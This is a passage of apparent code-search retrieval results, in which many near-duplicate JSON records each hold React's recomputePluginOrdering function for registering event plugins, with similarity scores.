"title": "" }, { "docid": "d37d2c56accc4eb8429ee937ddf08705", "score": "0.70659184", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n\n if (!(pluginIndex > -1)) {\n {\n throw Error(\"EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `\" + pluginName + \"`.\");\n }\n }\n\n if (plugins[pluginIndex]) {\n continue;\n }\n\n if (!pluginModule.extractEvents) {\n {\n throw Error(\"EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `\" + pluginName + \"` does not.\");\n }\n }\n\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n\n for (var eventName in publishedEvents) {\n if (!publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName)) {\n {\n throw Error(\"EventPluginRegistry: Failed to publish event `\" + eventName + \"` for plugin `\" + pluginName + \"`.\");\n }\n }\n }\n }\n }", "title": "" }, { "docid": "d37d2c56accc4eb8429ee937ddf08705", "score": "0.70659184", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n\n if (!(pluginIndex > -1)) {\n {\n throw Error(\"EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `\" + pluginName + \"`.\");\n }\n }\n\n if (plugins[pluginIndex]) {\n continue;\n }\n\n if (!pluginModule.extractEvents) {\n {\n throw Error(\"EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `\" + pluginName + \"` does not.\");\n }\n }\n\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n\n for (var eventName in publishedEvents) {\n if (!publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName)) {\n {\n throw Error(\"EventPluginRegistry: Failed to publish event `\" + eventName + \"` for plugin `\" + pluginName + \"`.\");\n }\n }\n }\n }\n }", "title": "" }, { "docid": "d37d2c56accc4eb8429ee937ddf08705", "score": "0.70659184", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n\n if (!(pluginIndex > -1)) {\n {\n throw Error(\"EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `\" + pluginName + \"`.\");\n }\n }\n\n if (plugins[pluginIndex]) {\n continue;\n }\n\n if (!pluginModule.extractEvents) {\n {\n throw Error(\"EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `\" + pluginName + \"` does not.\");\n }\n }\n\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n\n for (var eventName in publishedEvents) {\n if (!publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName)) {\n {\n throw Error(\"EventPluginRegistry: Failed to publish event `\" + eventName + \"` for plugin `\" + pluginName + \"`.\");\n }\n }\n }\n }\n }", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: 